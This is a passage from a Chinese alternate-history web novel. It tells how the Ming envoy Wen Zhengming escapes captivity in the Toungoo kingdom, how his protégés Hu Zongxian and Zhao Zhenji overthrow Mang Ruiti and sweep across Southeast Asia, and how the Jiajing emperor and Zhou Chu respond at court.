而且文徵明始终觉得,自己作为大明使臣,被东吁王朝就这么抓了,虽说为大明找到了出兵的借口,但也有辱国体,只有自己死在这里,才是最完美的。 “汝贞,老夫交代你们一些后事,你们要好好记住。” 下定了决心,文徵明看向一旁的胡宗宪说道。 胡宗宪和赵贞吉听到这话,顿时慌了,老师派他们前来,就是为了保住文大人的性命的,他们怎么都没想到文大人刚烈至此。 文大人要是死在这里,回头老师不得剥了自己? “大人,您不必担心有辱国体,您失去的面子,我们二人都会为您找回来。” 胡宗宪急忙说道。 “找回来?如何找回来?本官作为大明使臣,被东吁王朝这么一个蕞尔小国抓了,倘若苟活,岂不是被世人耻笑?” 文徵明叹了口气道。 “大人不必着急,来之前,老师早就吩咐过我二人,倘若莽瑞体真的敢动手,我二人就想办法把文大人救出去,然后就近去占城借兵,再去安南调一些兵马,然后文大人带领我等荡平东吁王朝,如此一来,大人就是大明的功臣。” 胡宗宪说道。 “凭借占城的那些兵马?能灭了东吁王朝?据本官所知,安南的驻军满打满算也就五千人不到,我们最多能调集一两千人吧?” 文徵明不解道。 “大人不必着急,这一点老师早就考虑好了,东吁王朝并非铁板一块,莽纪岁和莽瑞体之间肯定存在观念冲突,甚至莽家其他人,也不会眼看着莽瑞体胡来的,大人等着便是,我等逃出去之后,在联系这些人,让这些人里应外合,打莽瑞体一个措手不及,兵法有云,兵贵神速,攻敌所未料。” 胡宗宪侃侃而谈道。 文徵明听到这话,眼睛顿时亮了。 “既如此,就有劳你们了,事后本官定会向陛下为你们请功。” 文徵明也算是两人的师爷了,自然不会想着贪墨两人的功劳。 三人正说着话,太监已经在牢头的带领下来到了几人面前。 “几位可是天朝上使?” 太监看着文徵明,态度极其谦卑道。 “怎么?敢抓本使不敢认?” 文徵明皱了皱眉道,他搞不明白眼前这人要干什么。 “上使误会了,奴婢是陛下身边伺候的,陛下龙驭归天了,那莽瑞体狼子野心,将陛下软禁致死,莽瑞体所做的一切,都不代表陛下,也不代表莽家,更不代表东吁王朝。” 太监急忙解释道。 一旁的牢头听到这话,顿感心惊肉跳。 “你也不必想着去和莽瑞体说,倘若这位大人有一点闪失,大明的天兵很快就会荡平这里,届时你和你的家人恐怕很难活下来。” 太监自然看出了牢头的心思,冷笑道。 “公公说的什么话,小的绝不会走漏任何风声。” 牢头急忙行礼道。 太监听到这话,满意地点了点头,随后脸色瞬间变得有些谄媚,看向了文徵明。 “陛下驾崩之前,特意吩咐奴婢前来营救上使,陛下还说,愿举国归顺大明,还望上使和大明能给莽家之人留一线生机。” 太监殷切道。 “不管是不是你们大王抓的本使,现在本使在这里是不争的事实,本使作为大明的使臣,被你们这等小国这般羞辱,有辱国体,方才正准备以身殉国。” 文徵明冷哼道。 太监听到这话,心顿时漏跳了一拍,眼前的大明使臣倘若死在这里,到时候大明的军队抵达这里的时候,恐怕所有人都得死。 “上使万万不可。” 太监急忙说道。 太监说着示意牢头打开牢门。 牢头不敢怠慢,此时他也意识到了事情的严重性,生怕自己和家人被大明迁怒。 “本使已经有辱国体,只有洗刷着屈辱,才有脸活下去。” 文徵明说道。 “上使需要如何洗刷,您只管说,奴婢定当竭力配合。” 这个太监能在莽纪岁身边一直伺候,自然也是个人精,正所谓听话听音,他自然是听出了文徵明的弦外之音。 “汝贞,你和他说吧。” 文徵明看向一旁的胡宗宪道。 正所谓专业的事交给专业的人来做,行军打仗,文徵明是一窍不通。 胡宗宪没想到文徵明三言两语之间就达成了目的,内心感到无比佩服。 “我等回到占城之后,会调集兵马,直指这里,届时你们的人和我们里应外合,如此一来,才能最大程度的保证这里的百姓不受战火荼毒,到时候我等还会向我大明的皇帝陛下为尔等请功,莽家其他人若肯配合,届时封国公不太可能了,还是可以封个侯的。” 胡宗宪的话极具蛊惑性,几句话说的太监和牢头怦然心动,特别是牢头,倘若他能为大明立功的话,说不定等这里彻底归附大明之后,自己还能混个一官半职当当。 想明白这些,牢头哪里还会犹豫不定。 “几位上使放心,在这之前,小的定会保密,不会让那莽瑞体发现端倪。” 牢头恭敬道。 太监原本前来,就是受到了莽纪岁的临终所托,为莽家之人求一条活路,现在胡宗宪给了承诺了,他还有什么不满意的?他不过是个无根之人,终究是要依附于莽家的,将来莽家封侯,他自然是衣食无忧。 “上使放心,奴婢一定会联系莽家可用之人,城门守将,很多都是莽家之人,届时我等里应外合,定让上使不费吹灰之力拿下莽瑞体!” 太监保证道。 “上使先随奴婢出去,这里不是说话的地方。” 太监有些着急道。 文徵明此时才点了点头,带着胡宗宪两人走出了牢房。 “还要委屈一下三位大人,换一下衣服,你们的衣物太过显眼。” 太监早有准备,拿出一个包袱,说道。 大明的服饰和东吁王朝的本就有很大的区别,更何况文徵明等人穿的还都是官服,若是穿着这身衣服,走出都城,恐怕很困难。 文徵明几人也不矫情,纷纷把衣服换上。 在出去的路上,胡宗宪小声的和太监约定到时候如何里应外合,以及具体的信号。 那些狱卒看着太监带着文徵明等人出去,虽然心中有些疑问,却也不敢多问。 等文徵明等人离开之后,牢头将天牢的大门直接关上,然后看向了下方的狱卒。 “你们记住了,今日没有任何人来过,也没有任何人出去。” 牢头冷眼看着他们说道。 “老大,这是为何?” 其他狱卒不敢问,其中一个年纪比较大的老油条却没那么多讲究,直接问道。 “那几位是明朝的上使,莽瑞体狼子野心,害死陛下,还把上使抓起来,幸亏方才那位大人来的及时,否则为首的那位上使恐怕已经以身殉国了,倘若大明的上使死在这里,明军打过来,诸位可还有命?” 牢头看着众人,说道。 狱卒们听到这话,瞬间感到脊背发寒。 “老大放心,我等什么都没看到。” 其中一个狱卒急忙说道。 牢头听到这话,满意地点了点头。 文徵明三人出了天牢之后,太监带着三人来到了一处极为僻静的院落之中。 “此处养着陛下的一些战马,陛下是爱马之人,不过建立东吁王朝之后,极少征战,这些战马也就闲置了下来,如今已经繁育了好几代了。” 太监带着文徵明三人走进院子之中。 院子之中的人并不多,但从他们的动作,无论是文徵明亦或是胡宗宪和赵贞吉都看得出来,这些人都是极其擅长养马之人。 “拜见公公。” 这些人看到太监,急忙上前恭敬行礼道。 平日里这里养马的事宜,都是这个太监在操持,所以这些人基本上只认眼前这个太监和莽纪岁。 “为几位大人挑选三匹最好的战马。” 太监点了点头,说道。 那几个马奴听到这话,不敢怠慢,虽然有些不舍,还是将其中最为神骏的三匹战马牵了出来。 文徵明等人翻身上马,太监将手中莽纪岁的令牌递给了文徵明。 “上使拿着这个令牌,如今大王刚刚驾崩,这个令牌还是有用的,到了城门口,只需要亮出令牌,无人敢阻拦上使。” 太监很清楚,此时莽瑞体还在王宫之中假模假样的哭丧和操持登基之事,登基最快也要三日之后,到了那个时候,说不得这几位上使已经带人打过来了。 文徵明也不客气,把令牌收了起来。 “本使就此告别,承诺给公公的事,定会履行。” 文徵明抱拳行礼道。 “大人言重了。” 太监听到这话,顿时松了口气,他忙前忙后,不就是为了这句承诺吗? 文徵明听到这话,也没时间继续矫情了,一拉马的缰绳,顺着太监指的路,直奔城门而去了。 有莽纪岁的令牌在,文徵明等人可谓是畅通无阻,半日不到,就抵达了占城。 文徵明还特意绕过了东吁王朝的军队,从占城南门进的城。 明朝使者的身份让他一路畅通无阻,占城的守将之前是见过文徵明的,此时看到文徵明出现,那是又惊又喜,急忙将这个消息报告给了波劫。 波劫得知文徵明等人逃了回来,顿时大喜过望,之前虽然有所预料,但他没想到莽瑞体居然真的如此胆大包天,敢抓大明的使臣。 这让波劫整日战战兢兢,生怕占城因此被大明波及。 关于文徵明被劫一事,波劫也不敢隐瞒,直接派人前往安南,向安南布政使汇报去了。 波劫连滚带爬的来到文徵明面前。 “上使你能回来真是太好了,这两日小王夜不能寐,恨不得冲到东吁王朝去救上使。” 波劫满脸后怕道。 莽纪岁为了尽快让太监救出来文徵明等人,并没有真的等自己饿死,作为东吁王朝的开国君主,他也不会允许自己这么不体面的死去,干脆让太监跟莽瑞体要了颗毒药,吞毒而亡。 莽纪岁这么做,一是为了报复莽瑞体,主要还是为了莽家的子孙求一条活路。 莽纪岁很清楚,那大明的使臣,你不动他,他都恨不得死在你这呢,现在居然抓了他们,这大明使臣要是想不开死在天牢之中,届时别说莽家之人,整个都城恐怕都很难有活人了。 这一点,莽瑞体年轻看不明白,莽纪岁可是看的清清楚楚,没看那黎朝是如何灭亡的吗? 所以一得知莽瑞体抓了大明使臣,莽纪岁瞬间感觉脊背发寒。 “本使前来,是为了借兵,东吁王朝辱我太甚,倘若不亲自把东吁王朝荡平,本使无颜回大明。” 文徵明坐在马上,居高临下地看着波劫道。 对于波劫的表演,他选择了无视。 波劫听到这话,面露为难之色。 “不是小王不想借,上使是知道的,如今城外全是东吁王朝的人。” “莽纪岁死了,莽瑞体正忙着登基之事呢,这几日不会攻打你们,更何况本使也不多借,明日之前,给本使准备六百轻骑即可。” 文徵明说道。 波劫听到这话,明白自己再也没办法拒绝了,虽说东吁王朝在攻打他们,但此时听到文徵明说要覆灭东吁王朝,难免有些唇亡齿寒之感。 不管眼前的大明使臣能否覆灭东吁王朝,东吁王朝肯定是完了,这一点波劫很清楚。 所以波劫对于借兵一事,倒也没什么抵触,既然注定要灭亡,自己不妨添一把火,还能趁此为大明先立下一份功劳。 “上使放心,不用明日,今日即可,我占城总共八百多轻骑,大人全都带走。” 波劫咬了咬牙说道。 “如此甚好。” 文徵明点了点头道。 另外一边,胡宗宪并没有跟随文徵明回占城,而是直奔安南去了,安南的驻军并不多,胡宗宪说明来意之后,安南布政使不敢怠慢,帮胡宗宪调集了两千步兵和六百轻骑。 “文大人能安然无恙真是太好了,本官已经将此事上报朝廷了,诸位是否等朝廷大军到了再动手?” 布政使说道。 胡宗宪听到这话,摇了摇头。 “多谢大人美意,不过文大人性子刚烈,倘若不能让文大人找回面子,他恐怕没脸回大明。” 胡宗宪行礼道。 胡宗宪之所以能调兵,是因为一开始就拿着嘉靖给他们的密旨,上面写着四个字:便宜行事! 第376章 惊怒的嘉靖,周楚的预案 第376章 惊怒的嘉靖,周楚的预案 胡宗宪之所以调集两千步兵,不是为了攻城略地,攻打东吁王朝讲究的是一个快,要在莽瑞体反应过来之前,攻入东吁王朝的国都,东吁王朝之内有那么多人做内应,按理来说应该是不费吹灰之力。 只要是那个太监或者莽家其他人脑子正常,他们就不敢反水,毕竟胡宗宪等人能打下东吁王朝最好,倘若因为那些人反水,胡宗宪等人折戟,那么东吁王朝即将面临的就是大明的大军了。 这个账胡宗宪不信这些人算不明白。 这两千步兵,是为了骑兵托底的,而且攻灭东吁王朝之后,还要转身再去打东吁王朝在占城国都外的大军。 东南亚的局势和大明不一样,不是说胡宗宪等人能攻灭东吁王朝,东吁王朝的那些将士就会投降,东吁王朝一旦覆灭,意味着这些大军就成了那统帅的兵马,他多半会想着带着兵马打下其他地方,在建立一个王朝。 东南亚这个地方,除了之前的黎朝和占城相对稳定之外,东吁王朝以西的这些小国,常年混乱征伐,当年莽纪岁就是在不断地征伐之中建立了东吁王朝。 只要有兵马在手,重新建立一个王朝并非什么难事。 但无论是文徵明亦或是胡宗宪等人都不会允许这种情况发生,既然要荡平东吁王朝,就要彻底。 胡宗宪率先带着六百骑兵前往占城,至于那两千步兵,则由一个总兵按照胡宗宪规划好的路线,在后面慢慢推进。 很快,胡宗宪率领的六百骑兵和赵贞吉率领的八百占城骑兵会合了。 “文大人在占城稍待,学生定在两日之内攻破东吁王朝国都。” 胡宗宪行礼道。 文徵明听到这话点了点头,他很清楚,自己不懂行军打仗,执意跟着去的话,也只会拖后腿,不如待在占城。 “你二人定要小心,倘若事不可为,即使撤退,你们还年轻,将来有的是机会为大明建功立业。” 文徵明语重心长道。 胡宗宪和赵贞吉听到这话,心中无比感动,这要是换成其他人,一定会让他们誓死攻灭东吁王朝,因为就算东吁王朝是他们打下来的,文徵明作为使团的正使,最大的功劳也是他的。 而且两人都很清楚,倘若自己攻不下东吁王朝,眼前自己的这位师爷,恐怕真的会以死明志。 即便如此,文徵明仍然这么嘱咐他们,这让他们如何不感动? “大人放心,学生心里有数。” 胡宗宪两人行礼之后,便率领一千多骑兵南山安南,以此绕过东吁王朝大军的视野,随后从安南往东吁王朝一路奔袭而去。 东吁王朝的大军基本都在占城国都之外,还有少部分在东吁王朝的西边驻扎,为的就是防止那边的其他小国趁机偷袭他们。 东吁王朝东边,基本没什么守军,而东吁王朝的大军又深入占城,驻扎在占城国都之外,和国境线有一段距离,一旦绕过他们的大军,后方极为空虚。 面对东吁王朝这如同纸糊的边境防备,胡宗宪等人甚至没有遭遇什么像样的抵抗,就直接突进到了东吁王朝境内,拿着那个太监给的地图,一路直奔东吁王朝国都而去。 东吁王朝的国都之内,莽瑞体像模像样的哭了两日的丧,随后东吁王朝的百官纷纷请求莽瑞体以国事为重,尽早登基,莽瑞体架不住百官的请求,只好同意。 为了尽快登基,莽瑞体让礼部尽量简化登基大典,如此一来,登基大典准备在莽纪岁死的第三日举行。 这一夜,莽瑞体兴奋地睡不着,因为他终于可以如愿以偿的登上王位,只有成为东吁王朝的大王,他才能实施自己的战略,不断地对外扩张。 之前他也想这么做,但莽纪岁一直都不同意,莽纪岁很清楚,一旦他们肆无忌惮的扩张,就会引起大明的注意。 大明可以允许这里混乱,割据,但不会允许这里出现一个王朝将其他小国都统一起来。 如果是以前的大明,莽纪岁或许会同意莽瑞体的做法,毕竟那时候的大明虽然算不上昏聩,自身却也存在很多问题,自顾不暇,自然无暇他顾。 但现在不同了,这些年大明的强势崛起,莽纪岁是看在眼里的,特别是当年大明征服黎朝,那个过程别人可能不清楚,但莽纪岁是知道的,莽纪岁当时在黎朝之中是有探子的,从明使死在黎朝国都,到大明的那个女将军带兵打进黎朝国都,前后甚至都不到一日的时间。 当时莽纪岁得到这个消息的时候,整个人都被吓的汗毛直竖,生怕大明哪天也派个使者来他们东吁王朝。 自那之后,莽纪岁对大明愈发恭敬,一年纳贡两次不说,每次纳贡送的东西,都是些极其珍贵的珠宝翡翠之类的,完全不敢像之前那般敷衍。 东吁王朝的国土和黎朝相比,相差甚远,再加上整个东南亚因为黎朝一役,都对大明极其恭敬,嘉靖也就不好强行攻打,就这么搁置了。 这让一直忧心忡忡的莽纪岁松了口气,但这口气没松多久,莽瑞体就抓到了文徵明,当时得知这个消息的时候,莽纪岁差点一口气没上来。 这口气也确实没上来,莽纪岁驾崩了。 同样兴奋地还有汪明月,莽瑞体承诺过她,一旦自己登上王位,就让汪明月当王后,实际上莽瑞体也是这么打算的。 汪明月心里想着自己成了东吁王朝的王后,手里又握着文徵明,到了那个时候,周楚这个大明的锦衣卫指挥使,再也不敢忽视自己了。 汪明月从大明逃出来之后,原本以为周楚会派人大肆抓捕她,结果却让她大失所望,周楚似乎根本没把她放在眼里,又好像忘了她这个人,这让汪明月内心感到无比愤怒。 她可不相信周楚查不到抓方恒的人是谁,既然知道,又没抓捕自己,那就是没把自己放在眼里。 这让汪明月内心暗暗发誓,迟早有一天,自己要周楚正视自己。 只要自己成了东吁王朝的王后,这周衡器还如何忽视自己? 莽瑞体和汪明月各怀心思,直到很晚才沉沉睡去。 第二日凌晨,莽瑞体和汪明月很早就起来了,因为今天是莽瑞体的登基大典,登基大典从凌晨就要开始准备,即便已经简化了流程,整个过程最起码也需要半天时间。 莽瑞体和汪明月在宫女的服侍下,开始穿着那繁琐的礼服,光是穿礼服都需要很久,不过无论是莽瑞体亦或是汪明月,都丝毫不着急,他们很享受这个过程,这意味着他们即将登上东吁王朝权利的顶峰。 没什么比权力更让人迷醉的。 很快,莽瑞体两人就在百官的迎接之下,来到登基大典现场,在礼部官员的主持下,登基大典有条不紊的进行着,先是祭天,随后是登基。 眼看着莽瑞体就要登上王位了,远处却传来了马鸣和厮杀之声。 “怎么回事?” 莽瑞体看向一旁的太监,问道。 “陛下,不好了,有兵马攻入国都了,看服饰像是占城的兵马,又像是大明的。” 一个官员满脸惊恐道。 莽瑞体听到这话,刚刚坐上王位的屁股再也坐不住了,直接站了起来。 “快,去天牢,把文徵明他们带过来。” 莽瑞体意识到这些兵马应该是来营救文徵明的,只有第一时间把文徵明抓在手中,才能保证自己的安危。 一众侍卫听到这话,急忙去天牢提人。 莽瑞体的反应不可谓不快,但胡宗宪等人的行军速度更快,东吁王朝说白了不过是个小国,兵力满打满算也就上万,如今大部分都在占城,少部分在西边境驻扎,国都也有些兵马,不过只有几百人。 再加上城内莽家之人的里应外合,胡宗宪等人甚至不需要攻打,城门守将直接帮他们打开了城门。 随后胡宗宪和赵贞吉在莽家之人的带领下直奔登基大典之处而去。 莽瑞体的侍卫还没回来,胡宗宪已经率兵杀到登基大典之处,眼看着这一千多骑兵杀到了眼前,原本还志得意满的莽瑞体和汪明月傻眼了。 ...... 京城之中,嘉靖看到安南布政使的奏疏之后,整个人又惊又怒,如果这个使臣是其他人,嘉靖只会觉得高兴,毕竟如此一来就有了对东吁王朝甚至周边小国动手的理由了。 但此人是文徵明,文徵明是周楚的老师,倘若文徵明有个三长两短,他真不知道该如何向周楚交代,毕竟当初文徵明出使,是他钦点的。 “快去请衡器。” 嘉靖看着黄锦,说道。 很快,周楚便来到了御书房之中,路上黄锦就把文徵明被抓的事告诉了周楚,这也是嘉靖授意的。 “衡器,朕不该让文爱卿出使占城啊。” 嘉靖看到周楚,满脸懊悔道。 “陛下不必着急,老师出使之前,臣特意让胡汝贞和赵孟静加入了使团之中,当时陛下还给了赵贞吉一封便宜行事的密旨。” 周楚说道。 周楚这么一说,嘉靖反应了过来。 “你的意思是,有这两人在,文爱卿不会有危险?” 嘉靖问道。 周楚点了点头。 “老师本就不会有什么危险,那莽瑞体再胆大包天,也不敢对老师下手,最多是抓了老师,只是臣想不明白,这莽瑞体为何会这么做?他就不怕我大明的怒火吗?” 周楚有些疑惑道。 周楚并不清楚汪明月在东吁王朝,这中间存在信息差,要是知道这一点,周楚无论如何都会再多几手准备。 “文爱卿性格刚烈,朕怕他想不开啊,得尽快派兵,救出文爱卿。” 嘉靖有些焦急道。 文徵明的为人,不只是嘉靖清楚,满朝文武很少有不知道的,很多官员对文徵明是既敬又怕,一方面是因为文徵明和周楚的关系,另一方面则是因为文徵明刚正不阿的性子,让人不敢有歪心思。 “陛下不必担忧,有胡汝贞他们在,老师不会有危险,他们出使之前,臣就为他们做足了预案,两国相交,自然是要把所有可能都考虑进去,虽然莽瑞体动手的可能性极小,但臣也是做了预案的。” 周楚说道。 “快与朕说说,否则朕真的放心不下。” 嘉靖焦急道。 周楚听到这话,将自己做的各种预案,一五一十的讲给了嘉靖。 嘉靖听到周楚做了这么多条预案,预案之完整,基本把所有可能会发生的事都计算在内了,特别是听到关于胡宗宪和赵贞吉直接就地借兵,然后和东吁王朝内部之人里应外合的时候,嘉靖忍不住拍桌子。 “妙!实在是太妙了,衡器这个计划,和当年王玄策荡平中天竺有异曲同工之妙啊。” 嘉靖赞叹道。 周楚听到这话,笑了笑。 “倘若胡汝贞他们能成功,则足以体现我大明的天威和实力,即便是不成功,陛下再派兵不迟。” 嘉靖听到这话,点了点头。 “还是要先从岭南调集一些兵马,前往安南,以备不时之需。” “还是陛下考虑的周全。” 周楚不着痕迹地拍了个马屁道。 这一点周楚其实早就想到了,但作为臣子,周楚不可能事事都算尽,不留一丝余地,那样的话嘉靖没了任何表现的机会,久而久之,他对周楚就会愈发忌惮。 实际上周楚之前跟嘉靖说的那么多预案,故意说了不少破绽,为的就是不那么尽善尽美,毕竟如果自己真的把一切都算计在内的话,自己这种人一旦有了其他心思,皇帝都怕自己没有反制的手段。 故意说一些破绽,既让嘉靖明白周楚的才能,又不会让嘉靖对周楚过于忌惮。 嘉靖当即写了一封秘旨,直接让信使乘坐火车前往岭南调兵。 如今有了火车,火车空车速度一个时辰八十里,一天就可以走近千里,即便是有些地形复杂的地方慢一些,也不是快马能比得上的。 就这样,嘉靖一直在等着安南那边的奏疏,如此又过了四天,又是一封奏疏送到了嘉靖面前。 奏疏上面写着最新的战报。 “东吁王朝已被文大人覆灭,东吁王朝在占城外的大军,被一举击溃,死伤过半。” 嘉靖看到这个消息,顿时来了精神。 第377章 临时大朝会,暗爽的嘉靖 第377章 临时大朝会,暗爽的嘉靖 当莽瑞体被捆着来到东吁王朝大军面前的时候,东吁王朝的士兵顿时军心大乱,胡宗宪等人和占城军队前后夹击,将已经没了军心的东吁王朝军队直接打的溃逃,在胡宗宪和赵贞吉骑兵的追击之下,击杀了大半,东吁王朝的统帅更是被胡宗宪带人直接击杀。 在城墙上目睹这一切的波劫,心有余悸,暗自庆幸幸亏自己没有一时昏了头,不借兵给大明,仅仅是大明使团之中两个不怎么起眼的年轻人,就如此生猛,仅仅用了一天多的时间,活捉莽瑞体,彻底击溃东吁王朝的大军。 不愧是来自大明的将领,对于大明最近这两年发生的事,波劫都是知道的,大明彻底收复乌思藏,荡平草原,甚至距离大明无比遥远的叶尔羌汗国都被大明不费吹灰之力荡平了。 自己这小小一个占城,在大明这庞然大物面前,简直不堪一击,如今东吁王朝眼看就要覆灭了,占城以北的黎朝,也早已被大明收复,占城周围尽数都是大明的领土了。 波劫很清楚,倘若自己不识时务,那么接下来恐怕会有明使来自己这里了。 一想到这里,波劫就感觉脊背发寒。 “两位将军真是用兵如神,上使,小王愿意携占城彻底归复大明,以前有黎朝横在占城和大明之间,小王即使有这个心,黎朝也不会同意,如今黎朝和东吁王朝都被大明收复了,小王自当尽早归复。” 波劫先是恭维了一番胡宗宪二人,随后神情恭敬地看着文徵明道。 文徵明听到这话,点了点头。 “大王归复大明之前,可以先替大明做一件事,毕竟占城的领土太小了些,大王封国公有些勉强,倘若占城不断扩张,再归复大明的话,国公基本上是板上钉钉了。” 文徵明笑道。 文徵明虽然不会打仗,但却懂得如何谋划,如何让大明彻底收复整个东南亚的同时,还不用承担兴无名之师的恶名。 波劫也是人精,一听这话,瞬间明白了文徵明的意思。 “我占城的士兵任由两位将军调遣,小王会带兵御驾亲征,征服周围的小国,然后大明就可以以为他们主持公道的理由,讨伐小王。” 波劫脑子转的很快,瞬间就把整件事想的无比圆满,甚至比文徵明想的还要圆满一些。 原本文徵明想的不过是以波劫和占城的名义将周边的小国全部打下来,然后再让波劫率领他们一起归复大明。 但波劫的想法,对大明而言显然更完美,也更容易让其他国家的百姓接受,甚至从心底里认同大明。 “这么做,是否太过委屈大王了?” 文徵明问道。 “为了大明,小王受这点委屈算什么,小王对大明一直都是忠心耿耿的。” 波劫急忙表忠心道。 有了波劫的表态,胡宗宪和赵贞吉再也没了顾虑,他们让之前从安南调过来的军队全都换上了占城军队的盔甲,然后对这数千士兵进行了为期十天左右的特训。 主要训练的是军纪,令行禁止,以及一些军阵的初步运用。 有了这些,这支军队的作战能力就能碾压东南亚其他国家的军队。 东南亚国家大多数时候对大明而言都是不堪一击的,即便之前大明的军队很多时候也很烂。 除非在某个特定的时期,出一个相对强盛的王朝,比如朱祁镇时期的麓川,就是仁宣两朝遗留下的问题所导致的。 即便如此,朱祁镇三征麓川,还是把麓川荡平了。 现在的东南亚,除了黎朝和东吁王朝之外,其他小国的国力都是要比东吁王朝弱一些的。 周楚是知道的,东吁王朝真正的强势期,是在莽瑞体登基之后,莽纪岁只是初步建立了东吁王朝。 之后的两个月时间,胡宗宪和赵贞吉带着这数千兵马不断往西征伐,这两个月的时间,胡宗宪两人一边打仗,一边练兵,这支部队的战斗力越打越强。 东南亚的这些小国,能生存到现在自然是有原因的,东南亚的地形复杂,很多国家的士兵打不过,往山地雨林之中一钻,一般的明军很难找到他们的踪迹。 但胡宗宪他们带领的这支军队,是占城的军队,这支部队之中的千总,甚至百户,对这里的地形不说了如指掌,却也是十分了解的,在他们的带领之下,胡宗宪和赵贞吉可谓是势如破竹。 胡宗宪和赵贞吉为了追求效率,甚至兵分两路,为此,胡宗宪再次向安南布政使要了两千兵马,编入这支部队之中。 仅仅用了三个月,胡宗宪两人基本荡平了整个东南亚,要说彻底荡平,那不太可能,东南亚地形太复杂,很多人往某个角落一钻,真要一点点去弄,不知道要消耗多长时间。 东南亚的基本面被荡平之后,胡宗宪和赵贞吉并没有把占城的兵权还给波劫,如今这支军队之中,大概一半是明军,而且跟随两人打了三个月的胜仗,这支军队眼里也只有胡宗宪和赵贞吉了。 文徵明很清楚,如今东南亚被胡宗宪两人一统,倘若贸然交回兵权,波劫看着如此大的领土和如此强盛的军队,难免心中会有其他想法,人心是最易变的。 别看波劫之前说的多么情真意切,文徵明明白,那只是因为波劫眼看着东吁王朝被胡宗宪两人轻易覆灭,心中怕了而已,否则他波劫真要有这个心思,早在大明收复安南的时候就归复了。 胡宗宪和赵贞吉彻底将东南亚彻底犁了一遍之后,文徵明就写了一封奏疏,让人送回了京城,他们现在需要驻扎在占城,以免在大明军队抵达之前产生其他变故。 胡宗宪更是让人盯着波劫,以免波劫起了其他心思。 京城之中,嘉靖收到文徵明的奏疏之后,连说了三声好,随后让黄锦将周楚叫到宫中。 “拜见陛下。” 周楚来到御书房之中,恭敬行礼道。 “衡器啊,你又为我大明立下了泼天的功劳啊。” 嘉靖说着将手中的奏疏递给了周楚。 周楚接过奏疏,看了看。 “这都是老师和汝贞他们的功劳,臣不敢贪功。” 周楚看完之后,说道。 “文爱卿和胡汝贞他们自然是有功劳的,但朕觉得真正的大功劳还是衡器你的,倘若没有你未雨绸缪,为胡汝贞他们制定了如此详尽的战略规划,胡汝贞他们又怎么能这般轻而易举荡平东吁王朝?” 嘉靖看着周楚,不吝夸赞道。 “衡器你可谓是运筹帷幄之中,决胜于千里之外。” “陛下谬赞了,战场的局势瞬息万变,臣不过是为汝贞他们指明了一个大致方向,真正的功劳还是老师和汝贞他们的。” 周楚推脱道。 “好了,不必推脱了,之前稚心覆灭叶尔羌汗国,本来功劳应该有你一多半的,可你不愿意领,如今又是这般,朕明白你的心思,可如果一点功劳不领,朕觉得愧对于你啊。” 嘉靖叹了口气道。 “那陛下就多赏给臣一些丹药,这些丹药可都是好东西,也只有飞霞子道长炼的出来,再多钱财也买不来。” 周楚看着嘉靖,说道。 “这还不好办吗?黄锦,去道长那里将所有丹药都取来。” 嘉靖一听这话,顿时来了精神,嘉靖也清楚,周楚从来都不缺钱财,周楚到底有多少钱,嘉靖都不清楚。 黄锦不敢怠慢,转身离开了御书房。 大约过了一刻钟左右的时间,黄锦带着一个很大的木盒回来了。 “陛下,这是道长刚炼制出来的一批丹药,一共九颗。” 黄锦说着将盒子放在了嘉靖面前的书案上。 “暂时就这么多了,这一盒你先拿去,以后道长炼制的丹药,朕每次会多给你两颗。” 嘉靖有些肉疼道。 嘉靖自小就体弱多病,当初刚登基的时候,身子骨不算多好,但经过飞霞子这么多年的调理,如今的嘉靖可谓是气血旺盛,说体壮如牛有些过分,却也比一般人健康得多。 这些丹药占了绝大部分的功劳,嘉靖自然是不舍得,不过既然周楚开口了,他自然也不能吝啬。 不过很快嘉靖就想明白了,炼制这些丹药的很多名贵药材都来自东南沿海亦或是东南亚,比如龙涎香,比如犀角。 现在眼看着东南亚就要被纳入大明的版图之中,以后这些药材恐怕是不会缺了,嘉靖打定主意,以后让飞霞子每次多炼制一些。 “衡器,明日你带兵去接管占城,在占城设立爪哇布政使司。” 嘉靖看着周楚,认真道。 “臣领旨。” 拿了好处,周楚自然是要干活的,带兵接管占城,不过是一道手续的事罢了,功劳主要还是文徵明的,其次是胡宗宪和赵贞吉的,自己该拿的赏赐也都拿了。 “黄锦,让人去通知文武百官,明日临时增加一个大朝会,所有人都要到。” 嘉靖看向黄锦,有条不紊道。 “奴婢这就去办。” 黄锦恭敬道。 第二天一早,文武百官在上朝的路上交头接耳。 “首辅大人,你可知陛下为何突然开大朝会?” 张璁来到杨一清面前,问道。 贾咏早在两个月之前就告老还乡了,张璁顺势入阁,严嵩被调回京城,补了户部尚书的缺,如今的户部,刚有好转,嘉靖可不希望张璁离开之后失控,所以特地将严嵩调了回来。 严嵩能回到京城,自然是极为高兴的,虽说之前在江南省他可谓是说一不二,权势无二,但严嵩明白,他如果想要更进一步,回京是必须的。 一旁的严嵩等人听到张璁这么问,也都看向了杨一清。 “老夫估计和占城那边的事有关,这几个月,那边就没消停过,文大人带领胡汝贞和赵孟静都快荡平整个南洋了。” 杨一清人老成精,再加上这三个月,文徵明经常往京城送奏疏,杨一清作为内阁首辅,对东南亚的形势还是了解一些的。 现在皇帝突然临时增加大朝会,多半是大事,现在大明算得上大事的,也就南越那边了。 众人听到这话,顿时露出了一副恍然的神情。 “难道说文大人彻底收复了南洋之地?” 一旁的韩玠说道。 对于张璁能入阁,韩玠很是羡慕,却也不嫉妒,很多年前,飞霞子给自己家的这个晚辈算过命,算出他没有入阁之命。 飞霞子看得出来,韩玠的才能有限,真要是入了阁,是祸非福。 韩玠听到这话之后,也明白自己的本事,所以张璁如何,他也只是羡慕,他很清楚,自己即便是入阁了,顶多也就像贾咏那般,在内阁没什么存在感。 倒不如做个吏部尚书。 如今的内阁,首辅杨一清,下面的阁员分别是杨慎、夏言、张璁。 哪一个是易与之辈?一个个都是极致的人精,不单是人精,做事方面更是旁人无法企及的,很多事在他们手上总是被举重若轻的解决了。 这一点韩玠自认为是无论如何都做不到的。 相比较于韩玠,严嵩则更羡慕张璁,甚至有一丝嫉妒,要论跟周楚,他比张璁更早,不过严嵩也很清楚,之前在江南的时候,自己犯过两三次错,特别是周大人被刺杀的那一次,如今能被调回京城,已经是难能可贵了,严嵩短时间内倒也不奢求其他的。 很快,文武百官都来到了朝堂之上。 “文徵明文大人送来奏疏,文大人以占城的名义,以占城国君波劫的名义,已经一统了除了安南以外的南洋其他地区,文大人请求陛下派兵,以为其他国家主持公道的名义,接管占城。” 黄锦在嘉靖的示意下,直接说明了此次朝会的主题。 虽然早有预料,但真的听到的时候,韩玠等人仍然大感震惊。 文徵明出使占城才不过三个多月,就彻底荡平了南洋?这是多么大的功劳啊。 